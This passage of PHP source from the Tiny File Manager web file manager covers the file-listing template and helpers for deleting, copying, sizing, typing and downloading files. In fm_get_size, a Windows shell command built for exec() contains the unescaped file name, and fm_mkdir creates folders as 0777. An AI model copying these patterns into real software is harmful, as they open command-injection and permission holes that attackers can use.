                            <?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td>
                            <?php echo $owner['name'] . ':' . $group['name'] ?>
                        </td>
                    <?php endif; ?>
                    <td class="inline-actions"><?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, '1028','<?php echo lng('Delete') . ' ' . lng('Folder'); ?>','<?php echo urlencode($f) ?>', this.href);"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fm_enc(addslashes(FM_PATH)) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('CopyTo') ?>..." href="?p=&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink') ?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
                    </td>
                </tr>
            <?php
                flush();
                $ii++;
            }
            $ik = 8002;
            foreach ($files as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
                $filesize_raw = fm_get_size($path . '/' . $f);
                $filesize = fm_get_filesize($filesize_raw);
                $filelink = '?p=' . urlencode(FM_PATH) . '&amp;view=' . urlencode($f);
                $all_files_size += $filesize_raw;
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                $owner = array('name' => '?'); 
                $group = array('name' => '?');
                if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
                    try {
                        $owner_id = fileowner($path . '/' . $f);
                        if ($owner_id != 0) {
                            $owner_info = posix_getpwuid($owner_id);
                            if ($owner_info) {
                                $owner =  $owner_info;
                            }
                        }
                        $group_id = filegroup($path . '/' . $f);
                        $group_info = posix_getgrgid($group_id);
                        if ($group_info) {
                            $group =  $group_info;
                        }
                    } catch (Exception $e) {
                        error_log("exception:" . $e->getMessage());
                    }
                }
            ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                            <div class="custom-control custom-checkbox">
                                <input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fm_enc($f) ?>">
                                <label class="custom-control-label" for="<?php echo $ik ?>"></label>
                            </div>
                        </td><?php endif; ?>
                    <td data-sort=<?php echo fm_enc($f) ?>>
                        <div class="filename">
                            <?php
                            if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))): ?>
                                <?php $imagePreview = fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?>
                                <a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo fm_enc($f) ?>">
                                <?php else: ?>
                                    <a href="<?php echo $filelink ?>" title="<?php echo $f ?>">
                                    <?php endif; ?>
                                    <i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?>
                                    </a>
                                    <?php echo ($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
                        </div>
                    </td>
                    <td data-order="b-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>">
                            <?php echo $filesize; ?>
                        </span></td>
                    <td data-order="b-<?php echo $date_sorting; ?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo fm_enc($owner['name'] . ':' . $group['name']) ?></td>
                    <?php endif; ?>
                    <td class="inline-actions">
                        <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1209, '<?php echo lng('Delete') . ' ' . lng('File'); ?>','<?php echo urlencode($f); ?>', this.href);"> <i class="fa fa-trash-o"></i></a>
                            <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fm_enc(addslashes(FM_PATH)) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
                            <a title="<?php echo lng('CopyTo') ?>..."
                                href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink') ?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a>
                        <a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1211, '<?php echo lng('Download'); ?>','<?php echo urlencode($f); ?>', this.href);"><i class="fa fa-download"></i></a>
                    </td>
                </tr>
            <?php
                flush();
                $ik++;
            }

            if (empty($folders) && empty($files)) { ?>
                <tfoot>
                    <tr><?php if (!FM_READONLY): ?>
                            <td></td><?php endif; ?>
                        <td colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? '6' : '4' ?>"><em><?php echo lng('Folder is empty') ?></em></td>
                    </tr>
                </tfoot>
            <?php
            } else { ?>
                <tfoot>
                    <tr>
                        <td class="gray fs-7" colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? (FM_READONLY ? '6' : '7') : (FM_READONLY ? '4' : '5') ?>">
                            <?php echo lng('FullSize') . ': <span class="badge text-bg-light border-radius-0">' . fm_get_filesize($all_files_size) . '</span>' ?>
                            <?php echo lng('File') . ': <span class="badge text-bg-light border-radius-0">' . $num_files . '</span>' ?>
                            <?php echo lng('Folder') . ': <span class="badge text-bg-light border-radius-0">' . $num_folders . '</span>' ?>
                        </td>
                    </tr>
                </tfoot>
            <?php } ?>
        </table>
    </div>

    <div class="row">
        <?php if (!FM_READONLY): ?>
            <div class="col-xs-12 col-sm-9">
                <div class="btn-group flex-wrap" data-toggle="buttons" role="toolbar">
                    <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a>
                    <a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a>
                    <a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a>
                    <input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('<?php echo lng('Delete selected files and folders?'); ?>')">
                    <a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a>
                    <input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
                    <a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a>
                    <input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
                    <a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a>
                    <input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
                    <a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a>
                </div>
            </div>
            <div class="col-3 d-none d-sm-block"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div>
        <?php else: ?>
            <div class="col-12"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div>
        <?php endif; ?>
    </div>
</form>

<?php
fm_show_footer();

// --- END HTML ---

// Functions

/**
 * It prints the css/js files into html
 * @param key The key of the external file to print.
 */
function print_external($key)
{
    global $external;

    if (!array_key_exists($key, $external)) {
        // throw new Exception('Key missing in external: ' . key);
        echo "<!-- EXTERNAL: MISSING KEY $key -->";
        return;
    }

    echo "$external[$key]";
}

/**
 * Verify CSRF TOKEN and remove after certified
 * @param string $token
 * @return bool
 */
function verifyToken($token)
{
    if (hash_equals($_SESSION['token'], $token)) {
        return true;
    }
    return false;
}

/**
 * Delete  file or folder (recursively)
 * @param string $path
 * @return bool
 */
function fm_rdelete($path)
{
    if (is_link($path)) {
        return unlink($path);
    } elseif (is_dir($path)) {
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (!fm_rdelete($path . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return ($ok) ? rmdir($path) : false;
    } elseif (is_file($path)) {
        return unlink($path);
    }
    return false;
}

/**
 * Recursive chmod
 * @param string $path
 * @param int $filemode
 * @param int $dirmode
 * @return bool
 * @todo Will use in mass chmod
 */
function fm_rchmod($path, $filemode, $dirmode)
{
    if (is_dir($path)) {
        if (!chmod($path, $dirmode)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
                        return false;
                    }
                }
            }
        }
        return true;
    } elseif (is_link($path)) {
        return true;
    } elseif (is_file($path)) {
        return chmod($path, $filemode);
    }
    return false;
}

/**
 * Check the file extension which is allowed or not
 * @param string $filename
 * @return bool
 */
function fm_is_valid_ext($filename)
{
    $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;

    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    return ($isFileAllowed) ? true : false;
}

/**
 * Safely rename
 * @param string $old
 * @param string $new
 * @return bool|null
 */
function fm_rename($old, $new)
{
    $isFileAllowed = fm_is_valid_ext($new);

    if (!is_dir($old)) {
        if (!$isFileAllowed) return false;
    }

    return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null;
}

/**
 * Copy file or folder (recursively).
 * @param string $path
 * @param string $dest
 * @param bool $upd Update files
 * @param bool $force Create folder with same names instead file
 * @return bool
 */
function fm_rcopy($path, $dest, $upd = true, $force = true)
{
    if (!is_dir($path) && !is_file($path)) {
        return false;
    }

    if (is_dir($path)) {
        if (!fm_mkdir($dest, $force)) {
            return false;
        }

        $objects = array_diff(scandir($path), ['.', '..']);

        foreach ($objects as $file) {
            if (!fm_rcopy("$path/$file", "$dest/$file", $upd, $force)) {
                return false;
            }
        }

        return true;
    }

    // Handle file copying
    return fm_copy($path, $dest, $upd);
}


/**
 * Safely create folder
 * @param string $dir
 * @param bool $force
 * @return bool
 */
function fm_mkdir($dir, $force)
{
    if (file_exists($dir)) {
        if (is_dir($dir)) {
            return $dir;
        } elseif (!$force) {
            return false;
        }
        unlink($dir);
    }
    return mkdir($dir, 0777, true);
}

/**
 * Safely copy file
 * @param string $f1
 * @param string $f2
 * @param bool $upd Indicates if file should be updated with new content
 * @return bool
 */
function fm_copy($f1, $f2, $upd)
{
    $time1 = filemtime($f1);
    if (file_exists($f2)) {
        $time2 = filemtime($f2);
        if ($time2 >= $time1 && $upd) {
            return false;
        }
    }
    $ok = copy($f1, $f2);
    if ($ok) {
        touch($f2, $time1);
    }
    return $ok;
}

/**
 * Get mime type
 * @param string $file_path
 * @return mixed|string
 */
function fm_get_mime_type($file_path)
{
    if (function_exists('finfo_open')) {
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime = finfo_file($finfo, $file_path);
        finfo_close($finfo);
        return $mime;
    } elseif (function_exists('mime_content_type')) {
        return mime_content_type($file_path);
    } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
        $file = escapeshellarg($file_path);
        $mime = shell_exec('file -bi ' . $file);
        return $mime;
    } else {
        return '--';
    }
}

/**
 * HTTP Redirect
 * @param string $url
 * @param int $code
 */
function fm_redirect($url, $code = 302)
{
    header('Location: ' . $url, true, $code);
    exit;
}

/**
 * Path traversal prevention and clean the url
 * It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine.
 * @param $path
 * @return string
 */
function get_absolute_path($path)
{
    $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
    $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
    $absolutes = array();
    foreach ($parts as $part) {
        if ('.' == $part) continue;
        if ('..' == $part) {
            array_pop($absolutes);
        } else {
            $absolutes[] = $part;
        }
    }
    return implode(DIRECTORY_SEPARATOR, $absolutes);
}

/**
 * Clean path
 * @param string $path
 * @return string
 */
function fm_clean_path($path, $trim = true)
{
    $path = $trim ? trim($path) : $path;
    $path = trim($path, '\\/');
    $path = str_replace(array('../', '..\\'), '', $path);
    $path =  get_absolute_path($path);
    if ($path == '..') {
        $path = '';
    }
    return str_replace('\\', '/', $path);
}

/**
 * Get parent path
 * @param string $path
 * @return bool|string
 */
function fm_get_parent_path($path)
{
    $path = fm_clean_path($path);
    if ($path != '') {
        $array = explode('/', $path);
        if (count($array) > 1) {
            $array = array_slice($array, 0, -1);
            return implode('/', $array);
        }
        return '';
    }
    return false;
}

function fm_get_display_path($file_path)
{
    global $path_display_mode, $root_path, $root_url;
    switch ($path_display_mode) {
        case 'relative':
            return array(
                'label' => 'Path',
                'path' => fm_enc(fm_convert_win(str_replace($root_path, '', $file_path)))
            );
        case 'host':
            $relative_path = str_replace($root_path, '', $file_path);
            return array(
                'label' => 'Host Path',
                'path' => fm_enc(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/')))
            );
        case 'full':
        default:
            return array(
                'label' => 'Full Path',
                'path' => fm_enc(fm_convert_win($file_path))
            );
    }
}

/**
 * Check file is in exclude list
 * @param string $name The name of the file/folder
 * @param string $path The full path of the file/folder
 * @return bool
 */
function fm_is_exclude_items($name, $path)
{
    $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));
    if (isset($exclude_items) and sizeof($exclude_items)) {
        unset($exclude_items);
    }

    $exclude_items = FM_EXCLUDE_ITEMS;
    if (version_compare(PHP_VERSION, '7.0.0', '<')) {
        $exclude_items = unserialize($exclude_items);
    }
    if (!in_array($name, $exclude_items) && !in_array("*.$ext", $exclude_items) && !in_array($path, $exclude_items)) {
        return true;
    }
    return false;
}

/**
 * get language translations from json file
 * @param int $tr
 * @return array
 */
function fm_get_translations($tr)
{
    try {
        $content = @file_get_contents('translation.json');
        if ($content !== FALSE) {
            $lng = json_decode($content, TRUE);
            global $lang_list;
            foreach ($lng["language"] as $key => $value) {
                $code = $value["code"];
                $lang_list[$code] = $value["name"];
                if ($tr)
                    $tr[$code] = $value["translation"];
            }
            return $tr;
        }
    } catch (Exception $e) {
        echo $e;
    }
}

/**
 * @param string $file
 * Recover all file sizes larger than > 2GB.
 * Works on php 32bits and 64bits and supports linux
 * @return int|string
 */
function fm_get_size($file)
{
    static $iswin = null;
    static $isdarwin = null;
    static $exec_works = null;

    // Set static variables once
    if ($iswin === null) {
        $iswin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
        $isdarwin = strtoupper(PHP_OS) === 'DARWIN';
        $exec_works = function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') === 'EXEC';
    }

    // Attempt shell command if exec is available
    if ($exec_works) {
        $arg = escapeshellarg($file);
        $cmd = $iswin ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
        @exec($cmd, $output);

        if (!empty($output) && ctype_digit($size = trim(implode("\n", $output)))) {
            return $size;
        }
    }

    // Attempt Windows COM interface for Windows systems
    if ($iswin && class_exists('COM')) {
        try {
            $fsobj = new COM('Scripting.FileSystemObject');
            $f = $fsobj->GetFile(realpath($file));
            if (ctype_digit($size = $f->Size)) {
                return $size;
            }
        } catch (Exception $e) {
            // COM failed, fallback to filesize
        }
    }

    // Default to PHP's filesize function
    return filesize($file);
}


/**
 * Get nice filesize
 * @param int $size
 * @return string
 */
function fm_get_filesize($size)
{
    $size = (float) $size;
    $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
    $power = ($size > 0) ? floor(log($size, 1024)) : 0;
    $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power;
    return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}

/**
 * Get info about zip archive
 * @param string $path
 * @return array|bool
 */
function fm_get_zif_info($path, $ext)
{
    if ($ext == 'zip' && function_exists('zip_open')) {
        $arch = @zip_open($path);
        if ($arch) {
            $filenames = array();
            while ($zip_entry = @zip_read($arch)) {
                $zip_name = @zip_entry_name($zip_entry);
                $zip_folder = substr($zip_name, -1) == '/';
                $filenames[] = array(
                    'name' => $zip_name,
                    'filesize' => @zip_entry_filesize($zip_entry),
                    'compressed_size' => @zip_entry_compressedsize($zip_entry),
                    'folder' => $zip_folder
                    //'compression_method' => zip_entry_compressionmethod($zip_entry),
                );
            }
            @zip_close($arch);
            return $filenames;
        }
    } elseif ($ext == 'tar' && class_exists('PharData')) {
        $archive = new PharData($path);
        $filenames = array();
        foreach (new RecursiveIteratorIterator($archive) as $file) {
            $parent_info = $file->getPathInfo();
            $zip_name = str_replace("phar://" . $path, '', $file->getPathName());
            $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
            $zip_folder = $parent_info->getFileName();
            $zip_info = new SplFileInfo($file);
            $filenames[] = array(
                'name' => $zip_name,
                'filesize' => $zip_info->getSize(),
                'compressed_size' => $file->getCompressedSize(),
                'folder' => $zip_folder
            );
        }
        return $filenames;
    }
    return false;
}

/**
 * Encode html entities
 * @param string $text
 * @return string
 */
function fm_enc($text)
{
    return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}

/**
 * Prevent XSS attacks
 * @param string $text
 * @return string
 */
function fm_isvalid_filename($text)
{
    return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
}

/**
 * Save message in session
 * @param string $msg
 * @param string $status
 */
function fm_set_msg($msg, $status = 'ok')
{
    $_SESSION[FM_SESSION_ID]['message'] = $msg;
    $_SESSION[FM_SESSION_ID]['status'] = $status;
}

/**
 * Check if string is in UTF-8
 * @param string $string
 * @return int
 */
function fm_is_utf8($string)
{
    return preg_match('//u', $string);
}

/**
 * Convert file name to UTF-8 in Windows
 * @param string $filename
 * @return string
 */
function fm_convert_win($filename)
{
    if (FM_IS_WIN && function_exists('iconv')) {
        $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
    }
    return $filename;
}

/**
 * @param $obj
 * @return array
 */
function fm_object_to_array($obj)
{
    if (!is_object($obj) && !is_array($obj)) {
        return $obj;
    }
    if (is_object($obj)) {
        $obj = get_object_vars($obj);
    }
    return array_map('fm_object_to_array', $obj);
}

/**
 * Get CSS classname for file
 * @param string $path
 * @return string
 */
function fm_get_file_icon_class($path)
{
    // get extension
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));

    switch ($ext) {
        case 'ico':
        case 'gif':
        case 'jpg':
        case 'jpeg':
        case 'jpc':
        case 'jp2':
        case 'jpx':
        case 'xbm':
        case 'wbmp':
        case 'png':
        case 'bmp':
        case 'tif':
        case 'tiff':
        case 'webp':
        case 'avif':
        case 'svg':
            $img = 'fa fa-picture-o';
            break;
        case 'passwd':
        case 'ftpquota':
        case 'sql':
        case 'js':
        case 'ts':
        case 'jsx':
        case 'tsx':
        case 'hbs':
        case 'json':
        case 'sh':
        case 'config':
        case 'twig':
        case 'tpl':
        case 'md':
        case 'gitignore':
        case 'c':
        case 'cpp':
        case 'cs':
        case 'py':
        case 'rs':
        case 'map':
        case 'lock':
        case 'dtd':
        case 'ps1':
            $img = 'fa fa-file-code-o';
            break;
        case 'txt':
        case 'ini':
        case 'conf':
        case 'log':
        case 'htaccess':
        case 'yaml':
        case 'yml':
        case 'toml':
        case 'tmp':
        case 'top':
        case 'bot':
        case 'dat':
        case 'bak':
        case 'htpasswd':
        case 'pl':
            $img = 'fa fa-file-text-o';
            break;
        case 'css':
        case 'less':
        case 'sass':
        case 'scss':
            $img = 'fa fa-css3';
            break;
        case 'bz2':
        case 'tbz2':
        case 'tbz':
        case 'zip':
        case 'rar':
        case 'gz':
        case 'tgz':
        case 'tar':
        case '7z':
        case 'xz':
        case 'txz':
        case 'zst':
        case 'tzst':
            $img = 'fa fa-file-archive-o';
            break;
        case 'php':
        case 'php4':
        case 'php5':
        case 'phps':
        case 'phtml':
            $img = 'fa fa-code';
            break;
        case 'htm':
        case 'html':
        case 'shtml':
        case 'xhtml':
            $img = 'fa fa-html5';
            break;
        case 'xml':
        case 'xsl':
            $img = 'fa fa-file-excel-o';
            break;
        case 'wav':
        case 'mp3':
        case 'mp2':
        case 'm4a':
        case 'aac':
        case 'ogg':
        case 'oga':
        case 'wma':
        case 'mka':
        case 'flac':
        case 'ac3':
        case 'tds':
            $img = 'fa fa-music';
            break;
        case 'm3u':
        case 'm3u8':
        case 'pls':
        case 'cue':
        case 'xspf':
            $img = 'fa fa-headphones';
            break;
        case 'avi':
        case 'mpg':
        case 'mpeg':
        case 'mp4':
        case 'm4v':
        case 'flv':
        case 'f4v':
        case 'ogm':
        case 'ogv':
        case 'mov':
        case 'mkv':
        case '3gp':
        case 'asf':
        case 'wmv':
        case 'webm':
            $img = 'fa fa-file-video-o';
            break;
        case 'eml':
        case 'msg':
            $img = 'fa fa-envelope-o';
            break;
        case 'xls':
        case 'xlsx':
        case 'ods':
            $img = 'fa fa-file-excel-o';
            break;
        case 'csv':
            $img = 'fa fa-file-text-o';
            break;
        case 'bak':
        case 'swp':
            $img = 'fa fa-clipboard';
            break;
        case 'doc':
        case 'docx':
        case 'odt':
            $img = 'fa fa-file-word-o';
            break;
        case 'ppt':
        case 'pptx':
            $img = 'fa fa-file-powerpoint-o';
            break;
        case 'ttf':
        case 'ttc':
        case 'otf':
        case 'woff':
        case 'woff2':
        case 'eot':
        case 'fon':
            $img = 'fa fa-font';
            break;
        case 'pdf':
            $img = 'fa fa-file-pdf-o';
            break;
        case 'psd':
        case 'ai':
        case 'eps':
        case 'fla':
        case 'swf':
            $img = 'fa fa-file-image-o';
            break;
        case 'exe':
        case 'msi':
            $img = 'fa fa-file-o';
            break;
        case 'bat':
            $img = 'fa fa-terminal';
            break;
        default:
            $img = 'fa fa-info-circle';
    }

    return $img;
}

/**
 * Get image files extensions
 * @return array
 */
function fm_get_image_exts()
{
    return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif');
}

/**
 * Get video files extensions
 * @return array
 */
function fm_get_video_exts()
{
    return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
}

/**
 * Get audio files extensions
 * @return array
 */
function fm_get_audio_exts()
{
    return array('wav', 'mp3', 'ogg', 'm4a');
}

/**
 * Get text file extensions
 * @return array
 */
function fm_get_text_exts()
{
    return array(
        'txt',
        'css',
        'ini',
        'conf',
        'log',
        'htaccess',
        'passwd',
        'ftpquota',
        'sql',
        'js',
        'ts',
        'jsx',
        'tsx',
        'mjs',
        'json',
        'sh',
        'config',
        'php',
        'php4',
        'php5',
        'phps',
        'phtml',
        'htm',
        'html',
        'shtml',
        'xhtml',
        'xml',
        'xsl',
        'm3u',
        'm3u8',
        'pls',
        'cue',
        'bash',
        'vue',
        'eml',
        'msg',
        'csv',
        'bat',
        'twig',
        'tpl',
        'md',
        'gitignore',
        'less',
        'sass',
        'scss',
        'c',
        'cpp',
        'cs',
        'py',
        'go',
        'zsh',
        'swift',
        'map',
        'lock',
        'dtd',
        'svg',
        'asp',
        'aspx',
        'asx',
        'asmx',
        'ashx',
        'jsp',
        'jspx',
        'cgi',
        'dockerfile',
        'ruby',
        'yml',
        'yaml',
        'toml',
        'vhost',
        'scpt',
        'applescript',
        'csx',
        'cshtml',
        'c++',
        'coffee',
        'cfm',
        'rb',
        'graphql',
        'mustache',
        'jinja',
        'http',
        'handlebars',
        'java',
        'es',
        'es6',
        'markdown',
        'wiki',
        'tmp',
        'top',
        'bot',
        'dat',
        'bak',
        'htpasswd',
        'pl',
        'ps1'
    );
}

/**
 * Get mime types of text files
 * @return array
 */
function fm_get_text_mimes()
{
    return array(
        'application/xml',
        'application/javascript',
        'application/x-javascript',
        'image/svg+xml',
        'message/rfc822',
        'application/json',
    );
}

/**
 * Get file names of text files w/o extensions
 * @return array
 */
function fm_get_text_names()
{
    return array(
        'license',
        'readme',
        'authors',
        'contributors',
        'changelog',
    );
}

/**
 * Get online docs viewer supported files extensions
 * @return array
 */
function fm_get_onlineViewer_exts()
{
    return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
}

/**
 * It returns the mime type of a file based on its extension.
 * @param extension The file extension of the file you want to get the mime type for.
 * @return string|string[] The mime type of the file.
 */
function fm_get_file_mimes($extension)
{
    $fileTypes['swf'] = 'application/x-shockwave-flash';
    $fileTypes['pdf'] = 'application/pdf';
    $fileTypes['exe'] = 'application/octet-stream';
    $fileTypes['zip'] = 'application/zip';
    $fileTypes['doc'] = 'application/msword';
    $fileTypes['xls'] = 'application/vnd.ms-excel';
    $fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
    $fileTypes['gif'] = 'image/gif';
    $fileTypes['png'] = 'image/png';
    $fileTypes['jpeg'] = 'image/jpg';
    $fileTypes['jpg'] = 'image/jpg';
    $fileTypes['webp'] = 'image/webp';
    $fileTypes['avif'] = 'image/avif';
    $fileTypes['rar'] = 'application/rar';

    $fileTypes['ra'] = 'audio/x-pn-realaudio';
    $fileTypes['ram'] = 'audio/x-pn-realaudio';
    $fileTypes['ogg'] = 'audio/x-pn-realaudio';

    $fileTypes['wav'] = 'video/x-msvideo';
    $fileTypes['wmv'] = 'video/x-msvideo';
    $fileTypes['avi'] = 'video/x-msvideo';
    $fileTypes['asf'] = 'video/x-msvideo';
    $fileTypes['divx'] = 'video/x-msvideo';

    $fileTypes['mp3'] = 'audio/mpeg';
    $fileTypes['mp4'] = 'audio/mpeg';
    $fileTypes['mpeg'] = 'video/mpeg';
    $fileTypes['mpg'] = 'video/mpeg';
    $fileTypes['mpe'] = 'video/mpeg';
    $fileTypes['mov'] = 'video/quicktime';
    $fileTypes['swf'] = 'video/quicktime';
    $fileTypes['3gp'] = 'video/quicktime';
    $fileTypes['m4a'] = 'video/quicktime';
    $fileTypes['aac'] = 'video/quicktime';
    $fileTypes['m3u'] = 'video/quicktime';

    $fileTypes['php'] = ['application/x-php'];
    $fileTypes['html'] = ['text/html'];
    $fileTypes['txt'] = ['text/plain'];
    //Unknown mime-types should be 'application/octet-stream'
    if (empty($fileTypes[$extension])) {
        $fileTypes[$extension] = ['application/octet-stream'];
    }
    return $fileTypes[$extension];
}

/**
 * This function scans the files and folder recursively, and return matching files
 * @param string $dir
 * @param string $filter
 * @return array|null
 */
function scan($dir = '', $filter = '')
{
    $path = FM_ROOT_PATH . '/' . $dir;
    if ($path) {
        $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
        $rii = new RegexIterator($ite, "/(" . $filter . ")/i");

        $files = array();
        foreach ($rii as $file) {
            if (!$file->isDir()) {
                $fileName = $file->getFilename();
                $location = str_replace(FM_ROOT_PATH, '', $file->getPath());
                $files[] = array(
                    "name" => $fileName,
                    "type" => "file",
                    "path" => $location,
                );
            }
        }
        return $files;
    }
}

/**
 * Parameters: downloadFile(File Location, File Name,
 * max speed, is streaming
 * If streaming - videos will show as videos, images as images
 * instead of download prompt
 * https://stackoverflow.com/a/13821992/1164642
 */
function fm_download_file($fileLocation, $fileName, $chunkSize  = 1024)
{
    if (connection_status() != 0)
        return (false);
    $extension = pathinfo($fileName, PATHINFO_EXTENSION);

    $contentType = fm_get_file_mimes($extension);

    if (is_array($contentType)) {
        $contentType = implode(' ', $contentType);
    }

    $size = filesize($fileLocation);

    if ($size == 0) {
        fm_set_msg(lng('Zero byte file! Aborting download'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));

        return (false);
    }

